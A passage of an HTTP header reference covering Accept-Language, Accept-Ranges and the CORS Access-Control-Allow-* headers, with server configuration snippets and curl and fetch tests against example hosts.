ranges, each with an optional quality value (`q`) for ranking. The server picks the best match from the translations it has and labels the response with [Content-Language](https://howhttpworks.com/headers/content-language). `Accept-Language: en, fr;q=0.5` means "English, or French if you must." It's a preference, not a demand: an English-only site just serves English. And if the header is missing, that means no preference, not "English". ## How Accept-Language Works Here are trimmed request and response headers, bodies omitted: ```http GET /welcome HTTP/1.1 Host: example.com Accept-Language: fr-CA, fr;q=0.9, en;q=0.5 ``` ```http HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: fr Vary: Accept-Language ``` This server has French but no Canadian French, so it serves `fr`. HTTP doesn't prescribe one fallback algorithm; each server picks its own matching policy. [RFC 9110 §12.5.4](https://www.rfc-editor.org/rfc/rfc9110#section-12.5.4) points to the matching schemes in RFC 4647. ## Language Tag Format `en` means English; `en-US` narrows it to US English. Subtags are joined with hyphens, not underscores, so it's `en-US`, never `en_US`. `*` matches any language. A missing `q` means `1`, and `q=0` means "not this one". When two entries share the same `q`, some servers treat list order as a tiebreaker and some don't, so give entries distinct weights if the ranking matters. ## Real-World Examples Send a specific preference and see which language comes back: ```bash curl -i -H 'Accept-Language: fr-CA, fr;q=0.9, en;q=0.5' https://example.com/welcome ``` This only changes the response if that URL actually negotiates language. ## Common Language Codes Tags come from [BCP 47](https://www.rfc-editor.org/rfc/rfc5646). Besides regions, they can name a script: `zh-Hans` is Chinese written in Simplified characters. A region alone doesn't tell you the script, so don't infer one from it. | Tag | Meaning | | --- | --- | | `en` | English without a region refinement | | `en-GB` | English as used in the United Kingdom | | `fr-CA` | French as used in Canada | | `zh-Hans` | Chinese in Simplified script | | `sr-Latn` | Serbian in Latin script | These identify languages. They aren't currency or date-format settings, and `en-GB` doesn't mean the user is in Britain. ## Server Response Strategies When the header is missing, the client has no preference, so serve your default. When nothing matches, you can either ignore the header and serve the default or return `406`. Either way, match against the translations you actually have. Splitting on commas and grabbing the first token ignores both weights and exclusions. Take `fr;q=0, en;q=0.8`. The client is saying "no French", but a first-token parser would pick French, the one language it rejected. Pass the whole header and your list of supported languages to a real matcher. ## Getting Accept-Language right Add this route to an Express app with English and French translations: ```javascript app.get('/welcome', (req, res) => { res.vary('Accept-Language') const language = req.acceptsLanguages(['en', 'fr']) if (!language) return res.status(406).end() res.set('Content-Language', language) res.json({ message: language === 'fr' ? 'Bienvenue' : 'Welcome' }) }) ``` [`req.acceptsLanguages()`](https://expressjs.com/en/5x/api/request/#req.acceptsLanguages) does the weighted matching against the languages you offer. This route returns 406 when nothing matches; a product can just as well serve a documented default instead. ## Browser Behavior Browsers build the header from the user's language settings, but privacy features can trim the list. `navigator.languages` shows you the browser's preferences, which won't always match the header byte for byte, so compare it with **Network → Request Headers**. [MDN documents fallback tags and privacy restrictions](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Accept-Language). To see what the browser exposes, run this in the console: ```javascript console.log(navigator.language) console.log(navigator.languages) ``` Then look at the request for the page itself, not a later image or API call. The console values help you reproduce a bug report, but the Network panel shows what the server actually received. ## API Localization When the user has picked a language explicitly, through the URL, an account setting, or a language selector, that choice wins over the header. If one URL serves different languages based on the header, send `Vary: Accept-Language` so caches keep them apart. If a cookie or account setting also affects the language, `Vary: Accept-Language` won't cover that; handle caching for those separately. In API errors, translate the human message but keep the machine-readable code the same in every language. Add this route to the same Express app: ```javascript const messages = { en: 'The report is not ready', fr: "Le rapport n’est pas prêt" } app.get('/report-status', (req, res) => { res.vary('Accept-Language') const language = req.acceptsLanguages(['en', 'fr']) || 'en' res.set('Content-Language', language) res.status(409).json({ code: 'REPORT_NOT_READY', message: messages[language] }) }) ``` Here a mismatch falls back to English. Clients branch on `REPORT_NOT_READY` and never have to parse a sentence that changes with the language. ## Testing Language Negotiation Test a missing header and an explicitly rejected language: ```bash curl -i -H 'Accept-Language:' https://example.com/welcome curl -i -H 'Accept-Language: en;q=0, fr;q=1' https://example.com/welcome ``` ## Common Patterns A language in the URL, like `/fr/welcome`, makes the choice explicit and independent of browser settings. Keep negotiation to routes whose job is choosing between translations. So `/fr/welcome` returns French even when the request says `Accept-Language: en`. Point the language selector at the translated route, and keep the user on their chosen language on the next request instead of quietly switching back. Test that separately from negotiation at `/welcome`. ## Related Headers - [Content-Language](https://howhttpworks.com/headers/content-language) - [Vary](https://howhttpworks.com/headers/vary) - [Accept](https://howhttpworks.com/headers/accept) --- # Accept-Ranges Header > Learn how the Accept-Ranges header tells clients whether your server supports partial content requests (byte ranges) for efficient downloads and streaming. Source: https://howhttpworks.com/headers/accept-ranges Last reviewed: 2026-10-05 > **TL;DR:** `Accept-Ranges: bytes` tells clients they can request byte ranges, which is what makes resumable downloads and video seeking possible. It's an advertisement: check for `206` on the actual response, feel free to send Range when the header is absent, and remember that adding the header doesn't implement range handling. ## What is Accept-Ranges? Accept-Ranges lists the range units a server supports for this resource. In practice the only unit is `bytes`. [RFC 9110 §14.3](https://www.rfc-editor.org/rfc/rfc9110#section-14.3) lets clients send Range without ever seeing Accept-Ranges, and points out that seeing it once is no promise about later responses. ## Syntax Headers and outputs on this page are examples. ```http Accept-Ranges: bytes Accept-Ranges: none ``` `bytes` advertises byte ranges. `none` asks clients not to try range requests. Leaving the header out is not a refusal, and sending `none` doesn't change how the server actually handles Range. ## How Accept-Ranges Works A downloader can use the advertisement to decide whether to show a resume button. It still has to check the response to the actual [Range](https://howhttpworks.com/headers/range) request: `206` is partial content, `200` usually means Range was ignored, and `416` means the requested interval doesn't exist. Support varies by resource. A static file and a generated report on the same host are often served by different handlers with different range support. Treat each response's Accept-Ranges as describing that resource, not the whole host. ## Common Examples A ten-byte static file might come back with: ```http Accept-Ranges: bytes Content-Length: 10 ETag: "sample-v1" ``` To resume it, save the ETag and send it back in [If-Range](https://howhttpworks.com/headers/if-range). Accept-Ranges says nothing about which version you have, so the validator is what protects you from stitching together two different files. ## Server Implementation For nginx static files, range handling is controlled by [`max_ranges`](https://nginx.org/en/docs/http/ngx_http_core_module.html#max_ranges). Its default has no range-count limit. To disable byte-range support for a location: ```nginx location /downloads/ { max_ranges 0; } ``` Put it inside your existing server block. Adding an `Accept-Ranges: none` header instead would leave the range filter running. The reverse holds too: adding `Accept-Ranges: bytes` to a dynamic response won't slice its body or produce `206` and Content-Range. Express supports byte ranges through its file-serving methods. With the deterministic fixture from the [Range page](https://howhttpworks.com/headers/range#server-implementation), add a download route to an existing app: ```javascript app.get('/download', (req, res, next) => { res.download('sample.txt', 'sample.txt', { root: '/tmp/http-range-demo', acceptRanges: true, }, (error) => { if (error) next(error); }); }); ``` [`res.download()`](https://expressjs.com/en/5x/api/response/#res.download) uses file-transfer handling and offers `acceptRanges`, which defaults to true. Set it to false to turn off range support for that transfer. [`res.attachment()`](https://expressjs.com/en/5x/api/response/#res.attachment) is a different thing: it only sets Content-Disposition and, with a filename, Content-Type. Call it before `res.send()` and you get a download prompt, but no range handling. A browser download prompt and a resumable response are separate features. Django's [`FileResponse`](https://docs.djangoproject.com/en/5.2/ref/request-response/#fileresponse-objects) is useful for streaming a binary file and setting download metadata: ```python from django.http import FileResponse def download(request): return FileResponse(open('/tmp/http-range-demo/sample.txt', 'rb'), as_attachment=True, filename='sample.txt') ``` Django closes the file for you, so open it without a `with` block; one that ends before the response is sent would close the file too early. FileResponse sets length, type, and disposition when it can work them out, but its [implementation](https://github.com/django/django/blob/stable/5.2.x/django/http/response.py) doesn't parse Range. Adding `Accept-Ranges: bytes` to this view would promise something it can't do. If you need resume support, serve the file through a range-capable server or write the range handling yourself. ## Getting Accept-Ranges right A valid single-part partial response needs the right bytes and a matching [Content-Range](https://howhttpworks.com/headers/content-range), so test the body length, not just the headers. A wrong advertisement may lead a downloader to try resuming, which is why downloaders have to handle a full `200` response safely anyway. Compression and ranges can coexist: ranges count bytes of the encoded representation. What breaks is mixing the two, such as resuming against a gzip response using offsets from the decompressed file on disk. That corrupts the result. For generated exports, ask whether the handler can produce the exact same bytes again and seek within them. A one-pass stream can't serve a later request starting at an arbitrary offset, whatever the header says. ## Testing Accept-Ranges Use the [nginx fixture](https://howhttpworks.com/headers/range#server-implementation) to test a real GET: ```bash curl -sS -D - -o /dev/null http://localhost:8080/sample.txt curl -sS -D - --range 0-4 http://localhost:8080/sample.txt ``` Compare the advertisement with the actual status, Content-Range, and five-byte body. Use GET for this, since servers must ignore Range on HEAD. Cross-origin JavaScript can read Accept-Ranges only if the response exposes it through CORS. On a response that already has CORS enabled, add: ```http Access-Control-Expose-Headers: Accept-Ranges, Content-Range, ETag ``` With the Express route above in place, test both the download metadata and the byte transfer: ```bash curl -sS -D - --range 0-4 http://localhost:3000/download ``` Check Content-Disposition along with the 206, Content-Range, and the `01234` body. Then set `acceptRanges: false`, repeat the request, and confirm you now get the full response. Test the exact URL a downloader receives, redirects included: the headers on a redirect describe the redirect, not the file handler behind it. This browser probe checks the response itself rather than the advertisement: ```javascript const response = await fetch('/download', { headers: { Range: 'bytes=0-4' }, }); const bytes = new Uint8Array(await response.arrayBuffer()); console.table({ advertised: response.headers.get('accept-ranges'), status: response.status, interval: response.headers.get('content-range'), receivedBytes: bytes.length, }); ``` Run it on the Express origin that serves the route. Five bytes back means success only if the status is 206 and the interval matches. A server can ignore Range even after advertising support, and a file that happens to be five bytes long would also return five bytes. Check all three together before you let a download UI append bytes. ## Related Headers - [Range](https://howhttpworks.com/headers/range) - [Content-Range](https://howhttpworks.com/headers/content-range) - [If-Range](https://howhttpworks.com/headers/if-range) --- # Access-Control-Allow-Credentials Header > Learn how Access-Control-Allow-Credentials controls whether browsers expose responses when credentials (cookies, auth headers) are included in CORS requests. Source: https://howhttpworks.com/headers/access-control-allow-credentials Last reviewed: 2026-10-05 > **TL;DR:** If your frontend calls another origin with `credentials: 'include'` (cookies or HTTP auth), the response needs `Access-Control-Allow-Credentials: true` plus an exact `Access-Control-Allow-Origin`, not `*`. Without them, the browser hides the response from JavaScript. The request itself may already have gone out with its cookies, so a missing header is not a security control. ## What is Access-Control-Allow-Credentials? It's a response header that lets the browser share a response with JavaScript when the request's credentials mode is `include`. The client picks the credentials mode. This header doesn't switch cookie sending on; it only decides whether the page gets to read what comes back. [MDN describes how this differs between preflighted and simple requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Allow-Credentials#description). So a cookie-authenticated GET can succeed on the server while `fetch()` rejects in the browser. Your access log says the operation ran; the JavaScript result says whether the page may read the response. ## How Access-Control-Allow-Credentials Works For a simple request with no preflight, the browser sends the request, cookies and all, before it has seen any response headers. If the CORS check then fails, JavaScript gets a network error, even though the server may have done the work. For a preflighted request, the browser first sends an `OPTIONS` request without cookies. That preflight response has to allow credentials before the real request goes out, and the real response has to pass the CORS check too. These rules apply whenever the mode is `include`, even if there happens to be no cookie to send. [Fetch defines the credential-mode checks](https://fetch.spec.whatwg.org/#cors-protocol-and-credentials). ## Syntax ```http Access-Control-Allow-Credentials: true ``` `true` is the only valid value, and it's case-sensitive, so `True` fails. Writing `false` doesn't help either. To opt out, leave the header off. ## Common Examples The headers below are trimmed examples. A cookie-authenticated API response includes: ```http Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Credentials: true Vary: Origin Content-Type: application/json ``` Write the origin without a trailing slash. A wildcard origin fails whenever the request's credentials mode is `include`. For a cross-site session, the login response might also set a cookie like this: ```http Set-Cookie: session=REPLACE_WITH_SESSION_ID; Path=/; Secure; HttpOnly; SameSite=None ``` `HttpOnly` hides the cookie from `document.cookie`, but the browser still sends it with any eligible fetch. Since the cookie belongs to the API host, the frontend may not be able to see it at all. Check its domain and path in the browser's cookie storage view instead. ## Real-World Scenarios From a page at `https://app.example.com`, fetch the profile like this: ```javascript const response = await fetch('https://api.example.com/api/profile', { credentials: 'include' }) if (!response.ok) throw new Error(`HTTP ${response.status}`) const profile = await response.json() ``` Leave `Content-Type: application/json` off a GET with no body. It does nothing useful there and it turns a simple request into a preflighted one. With XMLHttpRequest, set `withCredentials` before calling `send()`: ```javascript const xhr = new XMLHttpRequest() xhr.open('GET', 'https://api.example.com/api/profile') xhr.withCredentials = true xhr.onload = () => console.log(xhr.status, xhr.responseText) xhr.onerror = () => console.log('Request could not be read') xhr.send() ``` See [MDN on withCredentials](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/withCredentials). The error callback looks the same for a failed CORS check and any other network failure, so open the Network panel to see what actually came back. Bearer tokens are a different setup. Adding an `Authorization` header yourself means the preflight has to allow it, but it doesn't put the request in `include` mode: ```javascript await fetch('https://api.example.com/api/profile', { credentials: 'omit', headers: { Authorization: 'Bearer REPLACE_WITH_TOKEN' } }) ``` Here the preflight needs `Access-Control-Allow-Headers: Authorization`, and `Access-Control-Allow-Credentials` isn't required. Switch to `include` only if the endpoint also relies on cookies the browser manages. ## Security Considerations CORS permission doesn't override cookie rules. Cross-origin and cross-site also mean different things: `app.example.com` and `api.example.com` over HTTPS are cross-origin but same-site. For a genuinely cross-site cookie, you opt in with `SameSite=None; Secure`, and even then the browser's third-party cookie restrictions may block it. See [MDN's cookie attributes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#attributes). ## Getting Access-Control-Allow-Credentials right With Express and the `cors` package, register CORS before your authentication and route handlers: ```javascript const express = require('express') const cors = require('cors') const app = express() app.use('/api', cors({ origin: ['https://app.example.com', 'https://admin.example.com'], credentials: true, methods: ['GET', 'POST'], allowedHeaders: ['Content-Type', 'Authorization'] })) // Register authentication and /api route handlers here. app.listen(3000) ``` The [middleware answers preflights itself](https://expressjs.com/en/resources/middleware/cors/) and adds `Vary: Origin` when it reflects an allowed origin. Authentication is still your job. ## Common Errors and Solutions If the console complains about a wildcard origin with credentials, compare the request's credentials mode with the `Access-Control-Allow-Origin` the server sent. If the credentials header is missing, check both the OPTIONS response and the real response, including error responses. When you echo the origin back, echo only origins on your allowlist, never whatever the request sent. A common trap: OPTIONS returns the right headers, but the GET returns 401 without any CORS headers. JavaScript then sees a CORS failure instead of a readable 401. Put CORS middleware ahead of authentication so the client can read `response.status` and handle the 401 (it's still a failed login, just a visible one). If no `Cookie` header shows up on the request, start with the cookie store and the request itself. `Access-Control-Allow-Credentials` has no say over a cookie the browser rejected for its attributes or blocked by policy. ## Testing Point this at your own API: ```bash curl -i -X OPTIONS https://api.example.com/api/profile \ -H 'Origin: https://app.example.com' \ -H 'Access-Control-Request-Method: POST' \ -H 'Access-Control-Request-Headers: content-type' ``` Then run the real fetch in the browser and watch the Network panel. curl shows you the headers, but it doesn't enforce CORS the way a browser does. Checking `response.headers.get('Access-Control-Allow-Credentials')` in JavaScript won't help either, because browsers don't expose CORS response headers to scripts by default. To look at the real response, use a test session you control: ```bash curl -i https://api.example.com/api/profile \ -H 'Origin: https://app.example.com' \ --cookie 'session=REPLACE_WITH_TEST_SESSION' ``` You're handing curl the cookie directly, and curl ignores SameSite and third-party cookie blocking. Compare the headers on an authenticated and an unauthenticated request, then go back to the browser to confirm the cookie is sent and the response is readable. ## Security Risks of Credentials: true Blocking the read doesn't stop CSRF. A simple request that skips preflight reaches the server and can change state whether or not the page can read the reply. Keep a tight origin allowlist and protect state-changing routes with their own CSRF defenses. Remember too that every allowed origin can read the responses you've opened to it, so a compromised allowed origin has the same access. ## Related Headers - [Access-Control-Allow-Origin](https://howhttpworks.com/headers/access-control-allow-origin) - [Access-Control-Allow-Headers](https://howhttpworks.com/headers/access-control-allow-headers) - [Access-Control-Allow-Methods](https://howhttpworks.com/headers/access-control-allow-methods) - [Origin](https://howhttpworks.com/headers/origin) --- # Access-Control-Allow-Headers Header > Learn how Access-Control-Allow-Headers specifies which custom HTTP headers can be used during cross-origin requests in CORS preflight responses. Source: https://howhttpworks.com/headers/access-control-allow-headers Last reviewed: 2026-10-05 > **TL;DR:** If your API takes JSON and bearer tokens, return `Access-Control-Allow-Headers: Content-Type, Authorization` on the preflight response, or the browser won't send the real request. Header names match case-insensitively. A `*` wildcard never covers `Authorization`, and when the request's credentials mode is `include` it isn't a wildcard at all. ## What is Access-Control-Allow-Headers? It's the server's answer to the browser's [Access-Control-Request-Headers](https://howhttpworks.com/headers/access-control-request-headers): "yes, you may send these request headers." It's about headers the client sends. Letting JavaScript read headers from the response is a separate job, handled by [Access-Control-Expose-Headers](https://howhttpworks.com/headers/access-control-expose-headers). ## How Access-Control-Allow-Headers Works Here's a preflight for a JSON POST. Headers on this page are trimmed examples. ```http OPTIONS /api/orders HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: authorization, content-type ``` ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: POST Access-Control-Allow-Headers: Content-Type, Authorization ``` If either requested name is missing from the answer, the browser stops and never sends the POST. When the preflight passes, the actual response still needs its own `Access-Control-Allow-Origin`. ## Syntax ```http Access-Control-Allow-Headers: Content-Type, Authorization, X-Request-ID ``` List header names, comma-separated, in any case. Values such as `application/json` or `Bearer ...` never go here. ## Common Examples You need `Content-Type` for `application/json` bodies and `Authorization` when the client sends a bearer token. Add `X-Request-ID` only if the client really sends that header. If the server generates the request ID, it belongs on the response, and in `Access-Control-Expose-Headers` if JavaScript needs to read it. A cookie-based app might send a CSRF token as `X-CSRFToken`, and an API-key service might use `X-API-Key`. Neither name is safelisted, so list whichever ones your endpoint accepts: ```http Access-Control-Allow-Headers: Content-Type, X-CSRFToken ``` Allowing a header name says nothing about its value. Your POST handler still has to check the CSRF token or API key. The header lists names only; the secret itself never goes in `Access-Control-Allow-Headers`. ## Real-World Scenarios ```javascript await fetch('https://api.example.com/api/orders', { method: 'POST', headers: { 'Content-Type': 'application/json', Authorization: 'Bearer REPLACE_WITH_TOKEN' }, body: JSON.stringify({ item: 'book' }) }) ``` The browser builds the preflight on its own. JavaScript never sets `Access-Control-Request-Headers`. [MDN documents the wildcard and Authorization rules](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Allow-Headers#directives). For a file upload, let the browser write the multipart `Content-Type` and its boundary: ```javascript const form = new FormData() form.append('document', document.querySelector('#upload').files[0]) await fetch('https://api.example.com/api/documents', { method: 'POST', headers: { Authorization: 'Bearer REPLACE_WITH_TOKEN' }, body: form }) ``` The page needs an ``. `Authorization` still triggers a preflight here. Setting `Content-Type: multipart/form-data` yourself drops the generated boundary, and the server may fail to parse the body. [MDN explains this FormData constraint](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest_API/Using_FormData_Objects#gotchas). ## Server Implementation For an existing Express app with the `cors` package installed: ```javascript const cors = require('cors') app.use('/api', cors({ origin: 'https://app.example.com', methods: ['GET', 'POST'], allowedHeaders: ['Content-Type', 'Authorization', 'X-Request-ID'] })) ``` Mount this before your API routes and before any authentication that would reject an unauthenticated OPTIONS request. [Application-level cors middleware handles preflights](https://expressjs.com/en/resources/middleware/cors/). FastAPI expresses the same policy with `CORSMiddleware`: ```python from fastapi import FastAPI from fastapi.middleware.cors import CORSMiddleware app = FastAPI() app.add_middleware( CORSMiddleware, allow_origins=["https://app.example.com"], allow_methods=["GET", "POST"], allow_headers=["Content-Type", "Authorization", "X-Request-ID"], ) @app.get("/api/status") def status(): return {"status": "ok"} ``` [FastAPI documents these options](https://fastapi.tiangolo.com/tutorial/cors/). The middleware only grants CORS permission, so you still register the API's POST handler yourself. For Django with `django-cors-headers` installed, add `corsheaders` to `INSTALLED_APPS` and put `corsheaders.middleware.CorsMiddleware` above `django.middleware.common.CommonMiddleware`. Then extend the package's default header list in settings: ```python from corsheaders.defaults import default_headers CORS_ALLOWED_ORIGINS = ["https://app.example.com"] CORS_URLS_REGEX = r"^/api/.*$" CORS_ALLOW_HEADERS = (*default_headers, "x-request-id") ``` The [package documentation](https://github.com/adamchainz/django-cors-headers#configuration) covers the settings and middleware order. CORS and Django's CSRF protection are separate: listing a CSRF header here doesn't exempt the request from CSRF validation. ## Getting Access-Control-Allow-Headers right Browsers send requested names in lowercase. If you match them yourself against a case-sensitive array like `['Authorization']`, nothing will match. Normalize both sides, or simply return a fixed list of permitted names. Allowing `Cookie` won't let frontend code set it. It's a forbidden request header that scripts can't touch. Whether cookies go along is decided by the credentials mode and cookie policy. If your own handler inspects the requested list, compare normalized names: ```javascript const permitted = new Set(['content-type', 'authorization', 'x-request-id']) const requested = (req.get('Access-Control-Request-Headers') || '') .split(',').map((name) => name.trim().toLowerCase()).filter(Boolean) const allPermitted = requested.every((name) => permitted.has(name)) ``` Treat `allPermitted` as one part of preflight validation, alongside the origin and method checks. On success, return your configured list. Echoing back whatever names the browser asked for turns the allowlist into a no-op. ## CORS Simple vs Preflighted Requests The safelist covers `Accept`, `Accept-Language`, `Content-Language`, `Content-Type` with restricted values, and `Range` with a single byte range. Values matter as much as names: `Content-Type: application/json` is not safelisted. The only safelisted content types are `application/x-www-form-urlencoded`, `multipart/form-data` and `text/plain`, and the other value restrictions still apply. [MDN lists those restrictions](https://developer.mozilla.org/en-US/docs/Glossary/CORS-safelisted_request_header). So `Range: bytes=0-499` can qualify, while a multi-range request like `bytes=0-99,200-299` doesn't. You can't tell whether a request needs a preflight from header names alone. ## Common Header Combinations For a cookie-authenticated JSON endpoint, the preflight response looks like this: ```http Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: POST ``` When credentials mode is `include`, list header names explicitly, even if no cookie happens to exist yet. `Authorization` is the one name the wildcard never covers. There's no wider category of "sensitive headers" that `*` skips. ## Testing Access-Control-Allow-Headers ```bash curl -i -X OPTIONS https://api.example.com/api/orders \ -H 'Origin: https://app.example.com' \ -H 'Access-Control-Request-Method: POST' \ -H 'Access-Control-Request-Headers: authorization,content-type' ``` curl shows you the response but doesn't enforce anything, so compare the requested names with the returned list in the browser's Network panel. If the server logs show only an OPTIONS request, the preflight failed; fix that before you touch the POST handler. A classic failure: a shared fetch wrapper adds `X-Request-ID` to every call, but the server only allows `Content-Type`. Read the list the browser *actually* requested. A hand-written curl command with fewer names will pass and miss the problem. And if a proxy answers OPTIONS before your app sees it, changing the app's middleware won't change that response. ## Related Headers - [Access-Control-Allow-Origin](https://howhttpworks.com/headers/access-control-allow-origin) - [Access-Control-Allow-Methods](https://howhttpworks.com/headers/access-control-allow-methods) - [Access-Control-Request-Headers](https://howhttpworks.com/headers/access-control-request-headers) - [Access-Control-Expose-Headers](https://howhttpworks.com/headers/access-control-expose-headers) --- # Access-Control-Allow-Methods Header > Learn how Access-Control-Allow-Methods specifies which HTTP methods are permitted for cross-origin requests in CORS preflight responses. Source: https://howhttpworks.com/headers/access-control-allow-methods Last reviewed: 2026-10-05 > **TL;DR:** `Access-Control-Allow-Methods: PUT, DELETE` permits those methods after a successful CORS preflight. It does not make an API read-only or authorize a user. `GET`, `HEAD`, and `POST` are CORS-safelisted; omitting them does not deny them. ## What is Access-Control-Allow-Methods? This is the server's answer to [Access-Control-Request-Method](https://howhttpworks.com/headers/access-control-request-method) in an OPTIONS preflight. A browser checks a non-safelisted method against the returned list before sending the actual request. The header is not the HTTP `Allow` header used to describe a resource's supported methods. ## How Access-Control-Allow-Methods Works Illustrative header excerpts for a DELETE preflight: ```http OPTIONS /api/posts/123 HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: DELETE Access-Control-Request-Headers: authorization ``` ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: DELETE Access-Control-Allow-Headers: Authorization ``` The method and the Authorization header need permission. The actual DELETE response still needs `Access-Control-Allow-Origin`; methods permission alone is insufficient. ## Syntax ```http Access-Control-Allow-Methods: GET, HEAD, POST, PUT, PATCH, DELETE ``` Method tokens are case-sensitive. Use `PATCH`, not `patch`. `*` has wildcard meaning only when credentials mode is not `include`; with `include`, it is a literal method name. [MDN describes both the wildcard and safelisted methods](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Allow-Methods#directives). ## Common Examples For a collection accepting JSON POSTs, return `GET, POST`. For an individual record accepting replacement and deletion, return `GET, PUT, DELETE`. Listing GET and POST can document intent, but does not add enforcement for those safelisted methods. These policies describe different endpoints, rather than a universal API-wide list: | Endpoint | Intended operations | Methods advertised | | --- | --- | --- | | `/api/posts` | Read a collection; create a post | `GET, POST` | | `/api/posts/123` | Read, replace, or delete one post | `GET, PUT, DELETE` | | `/api/search` | Read-only search | `GET, HEAD` | A JSON POST can preflight because of Content-Type, even though POST itself is safelisted. It still needs permission for that header. ## Real-World Scenarios An API returning only `Access-Control-Allow-Methods: GET` can still receive a cross-origin form POST. A read-only endpoint must reject writes in its route handler. CORS controls browser access, while non-browser clients can call the route independently of these headers. For a read-only Express route, enforce the method independently of CORS. This fragment belongs before any write handlers: ```javascript app.use('/api/search', cors({ origin: 'https://app.example.com', methods: ['GET', 'HEAD'] })) app.use('/api/search', (req, res, next) => { if (req.method === 'GET' || req.method === 'HEAD') return next() res.set('Allow', 'GET, HEAD').status(405).end() }) app.get('/api/search', (_req, res) => res.json({ results: [] })) ``` Application-level CORS middleware consumes valid preflight requests before the method guard. The guard rejects an actual POST, including one sent by curl. [RFC 9110 requires Allow in a 405 response](https://www.rfc-editor.org/rfc/rfc9110.html#section-15.5.6). ## Server Implementation Configure an existing Express app with the `cors` package: ```javascript const cors = require('cors') app.use('/api/posts', cors({ origin: 'https://app.example.com', methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'], allowedHeaders: ['Content-Type', 'Authorization'] })) ``` Place this before the API handlers. The [middleware handles OPTIONS preflights](https://expressjs.com/en/resources/middleware/cors/); you still need real handlers for the methods advertised. A narrower route can have a different policy from the surrounding API. Register it before a broad middleware that would answer its OPTIONS request: ```javascript const readPolicy = cors({ origin: 'https://app.example.com', methods: ['GET', 'HEAD'] }) app.options('/api/audit', readPolicy) app.get('/api/audit', readPolicy, (_req, res) => res.json({ events: [] })) ``` This is only the CORS and read-handler portion; authorization still belongs on the actual audit route. If an earlier `app.use(cors(...))` already handles OPTIONS, this per-route policy will never answer that preflight. For FastAPI, configure the list explicitly on the application serving these routes: ```python from fastapi import FastAPI from fastapi.middleware.cors import CORSMiddleware app = FastAPI() app.add_middleware( CORSMiddleware, allow_origins=["https://app.example.com"], allow_methods=["GET", "PUT", "DELETE"], allow_headers=["Content-Type", "Authorization"], ) ``` [FastAPI's middleware options](https://fastapi.tiangolo.com/tutorial/cors/) do not create PUT or DELETE endpoints. Keep the advertised list aligned with the handlers in that application. ## Getting Access-Control-Allow-Methods right Handle OPTIONS, but do not add OPTIONS to the list merely because the preflight uses it. The list describes the *subsequent* request. OPTIONS belongs there only if you intend to permit an actual cross-origin OPTIONS request. A preflight must return a successful status such as 204, not an authentication redirect or a 401. Authenticate and authorize the actual operation independently. ## HTTP Methods Overview CORS-safelisted is not synonymous with safe: POST is safelisted but is not a safe method. GET and HEAD are safe; PUT and DELETE are idempotent but can change state. Idempotence refers to the intended effect of repeating a request, not identical response bodies or statuses. [RFC 9110 defines these properties](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.2). | Method | Safe | Idempotent | CORS-safelisted | | --- | --- | --- | --- | | GET | Yes | Yes | Yes | | HEAD | Yes | Yes | Yes | | POST | No | No | Yes | | PUT | No | Yes | No | | DELETE | No | Yes | No | A repeated DELETE may return 404 after the first request removed the record; that does not change DELETE's idempotent semantics. Do not infer retry safety from the CORS safelist. ## Common Method Combinations Return a list for the specific endpoint rather than copying every method into every preflight response. Advertising DELETE on a route that has no DELETE handler makes preflight succeed only to leave the actual request failing, often with 405. Separate public reads from authenticated writes when they have different consumers. A public catalogue can allow `GET, HEAD`, while a management application permits `PUT, DELETE` on record routes. Ensure the management handlers still check the user's role. An allowlisted frontend origin does not imply that every user of that frontend has write permission. ## Testing Access-Control-Allow-Methods ```bash curl -i -X OPTIONS https://api.example.com/api/posts/123 \ -H 'Origin: https://app.example.com' \ -H 'Access-Control-Request-Method: DELETE' \ -H 'Access-Control-Request-Headers: authorization' ``` Compare the method with the returned list in browser Network. Do not manually set `Access-Control-Request-Method` in fetch: it is a forbidden request header. CORS failures surface to JavaScript as network errors, not a reliable message identifying which header failed. Inspect the console and OPTIONS response instead. After inspecting OPTIONS, test a deletion against a disposable record in the browser: ```javascript const response = await fetch('https://api.example.com/api/posts/123', { method: 'DELETE', headers: { Authorization: 'Bearer REPLACE_WITH_TOKEN' } }) if (!response.ok) throw new Error(`DELETE returned HTTP ${response.status}`) ``` A readable 405 means the browser sent the operation and the application rejected its method. A rejected fetch needs Network/Console inspection: a denied preflight, a missing CORS header on the DELETE response, and a connection failure can all look like network errors to application code. ## Related Headers - [Access-Control-Allow-Origin](https://howhttpworks.com/headers/access-control-allow-origin) - [Access-Control-Allow-Headers](https://howhttpworks.com/headers/access-control-allow-headers) - [Access-Control-Request-Method](https://howhttpworks.com/headers/access-control-request-method) --- # Access-Control-Allow-Origin Header: CORS Errors and Fixes > Access-Control-Allow-Origin explained: exact browser errors, why * fails with credentials, why you need Vary: Origin, and fixes for nginx, Express and Django. Source: https://howhttpworks.com/headers/access-control-allow-origin Last reviewed: 2026-10-04 > **TL;DR:** `Access-Control-Allow-Origin` names the one origin (or `*`) allowed to read a cross-origin response. Allow several origins by echoing the request's `Origin` from an allowlist and adding `Vary: Origin`; `*` never works with cookies or `Authorization`. ## What the browser checks A page at `https://app.example.com` calls `https://api.example.com/data`. The browser adds `Origin`, sends the request, and only exposes the response to JavaScript if the reply allows that origin: ```http GET /data HTTP/1.1 Host: api.example.com Origin: https://app.example.com HTTP/1.1 200 OK Access-Control-Allow-Origin: https://app.example.com Vary: Origin Content-Type: application/json ``` Valid values are one serialized origin (scheme, host, port, no path, no trailing slash), `*`, or `null`. Do 